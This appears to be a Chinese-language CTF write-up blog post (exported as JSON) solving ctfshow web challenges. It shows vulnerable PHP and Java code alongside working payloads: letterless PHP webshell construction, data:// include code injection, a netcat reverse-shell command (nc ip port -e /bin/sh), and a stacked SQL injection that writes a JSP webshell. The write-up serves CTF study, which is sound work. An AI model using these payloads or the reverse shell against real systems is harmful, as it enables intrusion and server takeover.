{"id":733,"date":"2023-08-20T11:35:31","date_gmt":"2023-08-20T03:35:31","guid":{"rendered":"https:\/\/fushuling.com\/?p=733"},"modified":"2024-01-17T02:45:45","modified_gmt":"2024-01-16T18:45:45","slug":"ctfshow%e5%88%b7%e9%a2%98%e8%ae%b0%e5%bd%95%e6%8c%81%e7%bb%ad%e6%9b%b4%e6%96%b0%e4%b8%ad","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2023\/08\/20\/ctfshow%e5%88%b7%e9%a2%98%e8%ae%b0%e5%bd%95%e6%8c%81%e7%bb%ad%e6%9b%b4%e6%96%b0%e4%b8%ad\/","title":{"rendered":"ctfshow\u5237\u9898\u8bb0\u5f55(\u6301\u7eed\u66f4\u65b0\u4e2d)"},"content":{"rendered":"\n<p>\u4ec5\u4f9b\u4e2a\u4eba\u77e5\u8bc6\u70b9\u8bb0\u5f55<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Web<\/h1>\n\n\n\n<h1 class=\"wp-block-heading\">\u8d5b\u4e8b\u9898<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">\u5403\u74dc\u676f<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u70ed\u8eab<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\ninclude(\"flag.php\");\nhighlight_file(__FILE__);\nif(isset($_GET&#91;'num'])){\n    $num = $_GET&#91;'num'];\n    if($num==4476){\n        die(\"no no no!\");\n    }\n    if(preg_match(\"\/&#91;a-z]|\\.\/i\", $num)){\n        die(\"no no no!!\");\n    }\n    if(!strpos($num, \"0\")){\n        die(\"no no no!!!\");\n    }\n    if(intval($num,0)===4476){\n        echo $flag;\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u7b2c\u4e00\u4e2a\u5c31\u662f\u4e2a\u5f31\u6bd4\u8f83\uff0c\u6211\u4eec\u6ce8\u610f\u5230\u6700\u540e\u7684\u4ee3\u7801\u6bd4\u8f83\u7684\u5176\u5b9e\u662fintval($num,0)\u662f\u5426\u7b49\u4e8e4476\uff0c\u4e5f\u5c31$num\u8f6c\u5316\u4e3a\u6574\u6570\u540e\u7684\u503c\uff0c\u6240\u4ee5\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u516b\u8fdb\u5236\u76844476\u4e5f\u5c31\u662f010574\uff0c\u8fd9\u6837\u5c31\u628a\u7b2c\u4e00\u4e2a\u5f31\u6bd4\u8f83\u5224\u65ad\u4ee5\u53ca\u7b2c\u4e8c\u4e2a\u786e\u4fdd\u6ca1\u5b57\u6bcd\u7ed5\u8fc7\u53bb\u4e86\uff0c\u7b2c\u4e09\u4e2a\u5224\u65ad\u7684\u610f\u601d\u5176\u5b9e\u662f\u4fdd\u8bc1strpos($num, &#8220;0&#8221;)\u4e0d\u7b49\u4e8e\u96f6\uff0c\u5982\u679c\u7b49\u4e8e\u96f6\u95ee\u53f7\u53d6\u53cd\u540e\u53d8\u62101\u5c31\u8fdb\u5165\u5206\u652fdie()\u4e86\u3002strpos($num, &#8220;0&#8221;)\u7684\u610f\u601d\u662f\u5bfb\u627e$num\u7b2c\u4e00\u6b21\u51fa\u73b0\u96f6\u7684\u4f4d\u7f6e\uff0c\u6240\u4ee5\u53ea\u89810\u4e0d\u5728\u7b2c\u4e00\u4e2a\u51fa\u73b0\u5c31\u4e0d\u4e3a0\u4e86\uff0c\u8fd9\u91cc\u6211\u4f7f\u7528\u4e86\u6b63\u53f7\uff0c\u5176\u5b9e\u52a0\u7a7a\u683c\u4e5f\u80fd\u7ed5\u8fc7\uff0c\u589e\u52a0\u65e0\u7528\u5b57\u7b26\u5c060\u653e\u5728\u7b2c\u4e00\u4f4d\u4e4b\u540e\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?num=+010574<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">shellme<\/h3>\n\n\n\n<p>ctrl f\u641c\u7d22flag\u5c31\u627e\u5230\u4e86<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">shellme_Revenge<\/h3>\n\n\n\n<p>\u4e00\u5165\u773c\u4e00\u5927\u5806disable_function\uff0ccookie\u63d0\u793a\u6211\u4eec\u7528?looklook\u4f20\u503c\uff0c\u8f93\u5165?looklook=1\u770b\u5230\u6e90\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\nerror_reporting(0);\nif ($_GET&#91;'looklook']){\n    highlight_file(__FILE__);\n}else{\n    setcookie(\"hint\", \"?looklook\", time()+3600);\n}\nif (isset($_POST&#91;'ctf_show'])) {\n    $ctfshow = $_POST&#91;'ctf_show'];\n    if (is_string($ctfshow) || strlen($ctfshow) &lt;= 107) {\n        if (!preg_match(\"\/&#91;!@#%^&amp;*:'\\\"|`a-zA-BD-Z~\\\\\\\\]|&#91;4-9]\/\",$ctfshow)){\n            eval($ctfshow);\n        }else{\n            echo(\"fucccc hacker!!\");\n        }\n    }\n} else {\n\n    phpinfo();\n}\n?&gt; <\/code><\/pre>\n\n\n\n<p>\u5148\u8dd1\u4e00\u624b\u6b63\u5219\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\nfor($a = 0; $a &lt; 256; $a++){\n\n    if (!preg_match(\"\/&#91;!@#%^&amp;*:'\\\"|`a-zA-BD-Z~\\\\\\\\]|&#91;4-9]\/\",chr($a))){\n\n        echo chr($a).\" \";\n\n    }\n\n}\n\n?&gt;<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code> $ ( ) + , - . \/ 0 1 2 3 ; &lt; = &gt; ? C &#91; ] _ { } <\/code><\/pre>\n\n\n\n<p>\u7ecf\u5178\u7684\u65e0\u5b57\u6bcdwebshell\uff0c\u6709\u4e86+\u5e94\u8be5\u662f\u7528\u81ea\u589e\u6784\u9020\uff0c\u7528RCE\u6311\u62185\u91cc\u90a3\u4e2a\u901a\u7528\u89e3\u5c31\u884c\u4e86\uff0c\u8fd9\u91ccsystem\u5565\u7684\u90fdban\u4e86\uff0c\u6362\u6210passthru\u6267\u884c\u547d\u4ee4\uff1a(\u8bb0\u5f97burpsuite\u4f20\u522b\u7528hackbar)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ctf_show=$_=(_\/_._)&#91;_];$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_&#91;_]($$_&#91;%FA]);&amp;_=passthru&amp;%FA=cat \/f*<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u65b0\u624b\u676f<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">easy_eval<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\n\n\nerror_reporting(0);\nhighlight_file(__FILE__);\n\n$code&nbsp;=&nbsp;$_POST&#91;'code'];\n\nif(isset($code)){\n\n&nbsp;&nbsp;$code&nbsp;=&nbsp;str_replace(\"?\",\"\",$code);\n&nbsp;&nbsp;eval(\"?&gt;\".$code);\n\n}<\/code><\/pre>\n\n\n\n<p>\u8fc7\u6ee4\u4e86?\uff0c\u8003\u8651php\u7684\u6807\u8bb0\u98ce\u683c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php ...?&gt;\n&lt;?...?&gt;\n&lt;%...%&gt;\n&lt;script language=\"php\"&gt;...&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<p>payload:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST:code=&lt;script language=\"php\"&gt;system(\"cat \/f*\");&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u4e03\u5915\u676f<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">web\u7b7e\u5230<\/h3>\n\n\n\n<p>\u4efb\u610f\u547d\u4ee4\u6267\u884c\uff0c\u4f46\u6ca1\u6709\u56de\u663e\uff0c\u5b57\u7b26\u6570\u4e0d\u8d85\u8fc77\u3002hitcon\u90a3\u4e2a\u9898\u7684\u7a76\u6781\u7b80\u5316\u7248\uff0c\u4e00\u53e5\u8bdd\u5c31\u641e\u5b9a\u4e86\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nl \/*&gt;a  <\/code><\/pre>\n\n\n\n<p>\u867d\u7136\u4e4b\u524dhitcon\u7684\u9898\u5df2\u7ecf\u89e3\u91ca\u8fc7\u4e86\uff0c\u8fd9\u91cc\u518d\u7b80\u5355\u89e3\u91ca\u4e00\u4e0b\uff0cnl\u662f\u4e00\u4e2alinux\u91cc\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\u7684\u547d\u4ee4\uff0c\/*\u5c31\u662f\u6839\u76ee\u5f55\u4e0b\u7684\u6240\u6709\u6587\u4ef6\uff0c&gt;+fileanme\u6765\u5b9e\u73b0\u65b0\u5efa\u4e00\u4e2a\u6587\u4ef6(&gt;\u662f\u8986\u76d6\uff0c&gt;&gt;\u662f\u8ffd\u52a0)\uff0c\u6240\u4ee5\u6211\u8fd9\u884c\u547d\u4ee4\u610f\u601d\u5c31\u662f\u8bfb\u53d6\u6839\u76ee\u5f55\u4e0b\u6240\u6709\u6587\u4ef6\u5e76\u5bfc\u5165\u6587\u4ef6a\u79cd\uff0c\u7136\u540e\u8bbf\u95ee6574a4b0-8acb-4f2d-a23c-45bc408ed17a.challenge.ctf.show\/api\/a\u5373\u53ef\u62ff\u5230flag<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">easy_calc<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\n\nif(check($code)){\n\n    eval('$result='.\"$code\".\";\");\n    echo($result);    \n}\n\nfunction check(&amp;$code){\n\n    $num1=$_POST&#91;'num1'];\n    $symbol=$_POST&#91;'symbol'];\n    $num2=$_POST&#91;'num2'];\n\n    if(!isset($num1) || !isset($num2) || !isset($symbol) ){\n        \n        return false;\n    }\n\n    if(preg_match(\"\/!|@|#|\\\\$|\\%|\\^|\\&amp;|\\(|_|=|{|'|&lt;|&gt;|\\?|\\?|\\||`|~|\\&#91;\/\", $num1.$num2.$symbol)){\n        return false;\n    }\n\n    if(preg_match(\"\/^&#91;\\+\\-\\*\\\/]$\/\", $symbol)){\n        $code = \"$num1$symbol$num2\";\n        return true;\n    }\n\n    return false;\n}<\/code><\/pre>\n\n\n\n<p>\u5173\u952e\u70b9\u6beb\u65e0\u7591\u95ee\u662f\u8fd9\u4e2aeval()\uff0c\u4f46\u662f\u6709\u4e2acheck\u51fd\u6570\u8fdb\u884c\u4e86\u5224\u65ad\u3002\u6211\u4eec\u7b80\u5355\u5206\u6790\u4e0b\uff0c\u9996\u5148$num1.$num2.$symbol\u4e5f\u5c31\u662f\u4f20\u8fdb\u6765\u7684\u4e09\u4e2a\u503c\u62fc\u63a5\u8d77\u6765\u53ef\u7528\u5b57\u7b26\u53ea\u6709<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\" ) * + , - . \/ : ; \\ ] } 0~9 a~z A~Z<\/code><\/pre>\n\n\n\n<p>\u5176\u6b21\u662f\u7b2c\u4e8c\u4e2apregmatch\uff0c\u9650\u5236\u4e86symbol\u91cc\u5fc5\u987b\u6709<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>* + - \/ <\/code><\/pre>\n\n\n\n<p>\u6709eval\u6267\u884c\u4ee3\u7801\uff0c\u4f46\u662f\u4e0d\u80fd\u6709(\u6216\u8005{\uff0c\u6267\u884c\u51fd\u6570\u662f\u4e0d\u884c\u4e86\uff0c\u5f97\u627e\u4e00\u4e2a\u4e0d\u7528\u62ec\u53f7\u7684\u51fd\u6570\uff0c\u6bd4\u5982include\uff0c\u6b63\u5e38\u7684\u5305\u542b\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>include \"data:\/\/text\/plain,&lt;?php phpinfo();?&gt;\"<\/code><\/pre>\n\n\n\n<p>\u4f46\u6211\u4eec\u8fd9\u91cc\u4e0d\u80fd\u7528\u62ec\u53f7\u6216\u8005&lt;\uff0c\u6211\u4eec\u53ef\u4ee5\u5148\u8fdb\u884c\u4e00\u6b21\u7f16\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>include \"data:\/\/text\/plain;base64,PD9waHAgcGhwaW5mbygpOz8+\"<\/code><\/pre>\n\n\n\n<p>\u56e0\u4e3a\u5f97\u6ee1\u8db3\u4e0a\u9762\u5206\u6210\u4e09\u6bb5\u7684\u8981\u6c42\uff0c\u6211\u4eec\u6362\u4e00\u79cd\u5199\u6cd5\u518d\u62c6\u5206\u4e00\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>num1=include \"data:ctfshow\nsymbol=\/\nnum2=b;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4\";\n$num1$symbol$num2=include \"data:ctfshow\/b;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4\";<\/code><\/pre>\n\n\n\n<p>payload\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET:?1=system('cat \/secret');die();\nPOST\uff1anum1=include \"data:ctfshow&amp;symbol=\/&amp;num2=b;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4\";<\/code><\/pre>\n\n\n\n<p>\u6ce8\uff1a\u4e4b\u524d\u786e\u5b9e\u6ca1\u60f3\u5230\u8fd9\u6837\u4e5f\u80fd\u5305\u542b<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-13.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"642\" height=\"89\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-13.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1244\"  sizes=\"auto, (max-width: 642px) 100vw, 642px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-14.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"249\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-14.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1245\"  sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">easy_cmd<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\nerror_reporting(0);\nhighlight_file(__FILE__);\n\n$cmd=$_POST&#91;'cmd'];\n\nif(preg_match(\"\/^\\b(ping|ls|nc|ifconfig)\\b\/\",$cmd)){\n        exec(escapeshellcmd($cmd));\n}\n?&gt;\n<\/code><\/pre>\n\n\n\n<p>nc\u5f39shell\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST cmd=nc ip port -e \/bin\/sh<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-18.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"531\" height=\"60\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-18.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1174\"  sizes=\"auto, (max-width: 531px) 100vw, 531px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">easy_sql<\/h3>\n\n\n\n<p>\u8ddf\u7740\u5927\u4f6c\u601d\u8def\u8d70\u4e00\u4e0b\uff1a<\/p>\n\n\n\n<p>\u67e5\u8be2\u53e3\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public String auth(@RequestParam String username, @RequestParam String password, HttpServletRequest request){\n    String message=\"\u793e\u5de5\u5e93\u672a\u67e5\u8be2\u5230\u6cc4\u9732\u8bb0\u5f55\uff0c\u4f60\u7684\u8d26\u53f7\u662f\u5b89\u5168\u7684\u3002\";\n\n    if(SafeUtil.sql_check(username) || SafeUtil.sql_check(password)){\n        message=\"stop sql inject!\";\n        return message;\n    }\n\n    try {\n        String sql = \"select username,password from app_user where username ='\" + username + \"' and password ='\" + password + \"' ;\";\n        ResultSet resultSet = DbUtil.getInstance().query(sql);\n        if (null != resultSet) {\n            while (resultSet.next()) {\n                message = \"\u60a8\u7684QQ\u8d26\u53f7\u5bc6\u7801\u5df2\u7ecf\u6cc4\u9732\uff0c\u8bf7\u7acb\u5373\u4fee\u6539\u5bc6\u7801\";\n                break;\n            }\n        }\n    }catch (Exception e){\n        e.printStackTrace();\n        message=\"\u6570\u636e\u67e5\u8be2\u51fa\u9519\";\n    }\n    insertQueryLog(username,password);\n    return message;\n}<\/code><\/pre>\n\n\n\n<p>\u5f88\u660e\u663e\u6709\u4e00\u4e2asql\u8bed\u53e5\uff0c\u53ef\u80fd\u6709sql\u6ce8\u5165\uff0c\u4f46\u8fd9\u91cc\u6709\u4e2aSafeUtil.sql_check\uff0c\u5148\u770b\u770b\u8fc7\u6ee4:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public static boolean sql_check(String sql){\n\n    sql = sql.toLowerCase(Locale.ROOT);\n    String ban&#91;] = {\"'\",\n            \"file\",\n            \"information\",\n            \"mysql\",\n            \"from\",\n            \"update\",\n            \"delete\",\n            \"select\",\",\",\"union\",\"sleep\",\"(\"};\n    for (String s:ban) {\n        if(sql.contains(s)){\n            return true;\n        }\n    }\n    return false;\n}<\/code><\/pre>\n\n\n\n<p>\u8fc7\u6ee4\u4e86\u5355\u5f15\u53f7\uff0c\u4f46\u662f\u53ef\u4ee5\u8f6c\u4e49\u7ed5\u8fc7\uff0c\u6211\u4eec\u518d\u6765\u770b\u770b\u914d\u7f6e\u6587\u4ef6config.properties\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>url=jdbc:mysql:\/\/127.0.0.1:3306\/app?characterEncoding=utf-8&amp;useSSL=false&amp;&amp;autoReconnect=true&amp;allowMultiQueries=true&amp;serverTimezone=UTC\ndb_username=root\ndb_password=root<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u6709\u4e00\u53e5allowMultiQueries=true\uff0c\u800c\u4e14\u6ca1\u8fc7\u7387\u5206\u53f7\uff0c\u6240\u4ee5\u5f88\u660e\u663e\u53ef\u4ee5\u5806\u53e0\u6ce8\u5165\u4e86\uff0c\u518d\u770b\u770b\u8fd9\u4e2ainsertQueryLog(username,password)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>private int insertQueryLog(String username,String password){\n    String sql = \"insert into app_query_log(username,password) values(?,?);\";\n    Connection connection = DbUtil.getConnection();\n    PreparedStatement preparedStatement;\n    int count=0;\n    try {\n        connection.setAutoCommit(false);\n        preparedStatement=connection.prepareStatement(sql);\n        preparedStatement.setQueryTimeout(3);\n        preparedStatement.setString(1,username);\n        preparedStatement.setString(2,password);\n        count = preparedStatement.executeUpdate();\n        connection.commit();\n    } catch (SQLException e) {\n        LogUtil.save(username,password);\n        e.printStackTrace();\n    }\n\n    return count;\n}<\/code><\/pre>\n\n\n\n<p>\u6709\u4e00\u53e5LogUtil.save()\uff0c\u7ee7\u7eed\u8ddf\u8fdb\u770b\u770b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public class LogUtil {\n    public LogUtil() {\n    }\n\n    public static void save(String username, String password) {\n        FileUtil.SaveFileAs(username, password);\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u7ee7\u7eed\u8ddf\u8fdb\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public static boolean SaveFileAs(String content, String path) {\n    FileWriter fw = null;\n\n    boolean var4;\n    try {\n        fw = new FileWriter(new File(path), false);\n        if (content != null) {\n            fw.write(content);\n        }\n\n        return true;\n    } catch (IOException var14) {\n        var14.printStackTrace();\n        var4 = false;\n    } finally {\n        if (fw != null) {\n            try {\n                fw.flush();\n                fw.close();\n            } catch (IOException var13) {\n                var13.printStackTrace();\n            }\n        }\n\n    }\n\n    return var4;\n}<\/code><\/pre>\n\n\n\n<p>\u4e5f\u5c31\u662f\u8bf4\u8fd9\u91cc\u5176\u5b9e\u6709\u4e00\u4e2a\u4fdd\u5b58\u6587\u4ef6\u7684\u529f\u80fd\uff0c\u5982\u679c\u6211\u4eec\u8ba9\u4e0a\u9762\u7684insertQueryLog()\u62a5\u9519\uff0c\u5c31\u4f1a\u8fdb\u5165catch (SQLException e) \uff0c\u7136\u540e\u901a\u8fc7LogUtil.save()\u4fdd\u5b58\u6587\u4ef6\uff0c\u5e76\u4e14<strong>username<\/strong>\u4e3a\u5185\u5bb9\uff0c<strong>password<\/strong>\u4e3a\u6587\u4ef6\u540d\uff0c\u4f46\u8fd9\u91cc\u8fc7\u6ee4\u4e86<code>(<\/code>\uff0c\u6211\u4eec\u5fc5\u987b\u65e2\u505a\u5230\u4e0d\u7528\u62ec\u53f7sql\u6ce8\u5165\uff0c\u8fd8\u5f97\u8ba9sql\u8bed\u53e5\u62a5\u9519\uff0c\u56de\u5230\u90a3\u53e5sql\u8bed\u53e5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>String sql = \"insert into app_query_log(username,password) values(?,?);\";<\/code><\/pre>\n\n\n\n<p>\u4e09\u4e2a\u62a5\u9519\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u4fee\u6539app_query_log\u8868\uff0c\u8ba9username\u4e3a\u4e3b\u952e\uff0c\u91cd\u590d\u63d2\u5165\u65f6\u4f1a\u62a5\u5f02\u5e38\u3002<\/li>\n\n\n\n<li>\u5220\u9664app_query_log\u8868\uff0c\u627e\u4e0d\u5230\u8981\u63d2\u5165\u7684\u8868\uff0c\u62a5\u5f02\u5e38<\/li>\n\n\n\n<li>\u9501\u8868<\/li>\n<\/ul>\n\n\n\n<p>\u6211\u4eec\u8fd9\u91cc\u5229\u7528\u9501\u8868\u8fdb\u884c\u64cd\u4f5c\uff0c\u7981\u6b62\u66f4\u65b0\u7684\u60c5\u51b5\u4e0b\uff0c\u63d2\u5165\u4f1a\u62a5\u5f02\u5e38<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>username=a\\&amp;password=;flush tables with read lock;%23<\/code><\/pre>\n\n\n\n<p>\u5199\u5165jsp\u6587\u4ef6\uff0c\u7531\u4e8e\u8fc7\u6ee4\u4e86\u62ec\u53f7\uff0c\u8fd9\u65f6\u5019\u53ea\u80fd\u4f7f\u7528jstl\u6807\u7b7e\u6765\u6267\u884c\uff0c\u5b8c\u7f8e\u907f\u5f00\u4e86\u62ec\u53f7\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;%@ page language=\"java\" contentType=\"text\/html; charset=UTF-8\"\n    pageEncoding=\"UTF-8\"%&gt;\n&lt;%@ taglib uri=\"http:\/\/java.sun.com\/jsp\/jstl\/sql\" prefix=\"sql\"%&gt;\n&lt;%@ taglib uri=\"http:\/\/java.sun.com\/jsp\/jstl\/core\" prefix=\"c\"%&gt;\n&lt;%@ page isELIgnored=\"false\" %&gt;\n&lt;sql:setDataSource var=\"test\" driver=\"${param.driver}\"\n        url=\"${param.url}\" user=\"root\" password=\"root\" \/&gt;\n   &lt;sql:query dataSource=\"${test}\" var=\"result\"&gt;\n        ${param.sql}\n    &lt;\/sql:query&gt;\n\n&lt;table border=\"1\" width=\"100%\"&gt;\n        &lt;tr&gt;\n            &lt;th&gt;ctfshow&lt;\/th&gt;\n        &lt;\/tr&gt;\n        &lt;c:forEach var=\"row\" items=\"${result.rows}\"&gt;\n            &lt;tr&gt;\n                &lt;td&gt;&lt;c:out value=\"${row.t}\" \/&gt;&lt;\/td&gt;\n            &lt;\/tr&gt;\n        &lt;\/c:forEach&gt;\n    &lt;\/table&gt;<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>username=%3C%25%40%20page%20language%3D%22java%22%20contentType%3D%22text%2Fhtml%3B%20charset%3DUTF-8%22%0A%20%20%20%20pageEncoding%3D%22UTF-8%22%25%3E%0A%3C%25%40%20taglib%20uri%3D%22http%3A%2F%2Fjava.sun.com%2Fjsp%2Fjstl%2Fsql%22%20prefix%3D%22sql%22%25%3E%0A%3C%25%40%20taglib%20uri%3D%22http%3A%2F%2Fjava.sun.com%2Fjsp%2Fjstl%2Fcore%22%20prefix%3D%22c%22%25%3E%0A%3C%25%40%20page%20isELIgnored%3D%22false%22%20%25%3E%0A%3Csql%3AsetDataSource%20var%3D%22test%22%20driver%3D%22%24%7Bparam.driver%7D%22%0A%20%20%20%20%20%20%20%20url%3D%22%24%7Bparam.url%7D%22%20user%3D%22root%22%20password%3D%22root%22%20%2F%3E%0A%20%20%20%3Csql%3Aquery%20dataSource%3D%22%24%7Btest%7D%22%20var%3D%22result%22%3E%0A%20%20%20%20%20%20%20%20%24%7Bparam.sql%7D%0A%20%20%20%20%3C%2Fsql%3Aquery%3E%0A%0A%0A%0A%3Ctable%20border%3D%221%22%20width%3D%22100%25%22%3E%0A%20%20%20%20%20%20%20%20%3Ctr%3E%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cth%3Et%3C%2Fth%3E%0A%20%20%20%20%20%20%20%20%3C%2Ftr%3E%0A%20%20%20%20%20%20%20%20%3Cc%3AforEach%20var%3D%22row%22%20items%3D%22%24%7Bresult.rows%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Ctr%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ctd%3E%3Cc%3Aout%20value%3D%22%24%7Brow.t%7D%22%20%2F%3E%3C%2Ftd%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Ftr%3E%0A%20%20%20%20%20%20%20%20%3C%2Fc%3AforEach%3E%0A%20%20%20%20%3C%2Ftable%3E&amp;password=..\/webapps\/ROOT\/1.jsp<\/code><\/pre>\n\n\n\n<p>\u5148\u751f\u6210\u5c0f\u9a6c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-15-1024x686.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"686\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-15-1024x686.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1247\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" 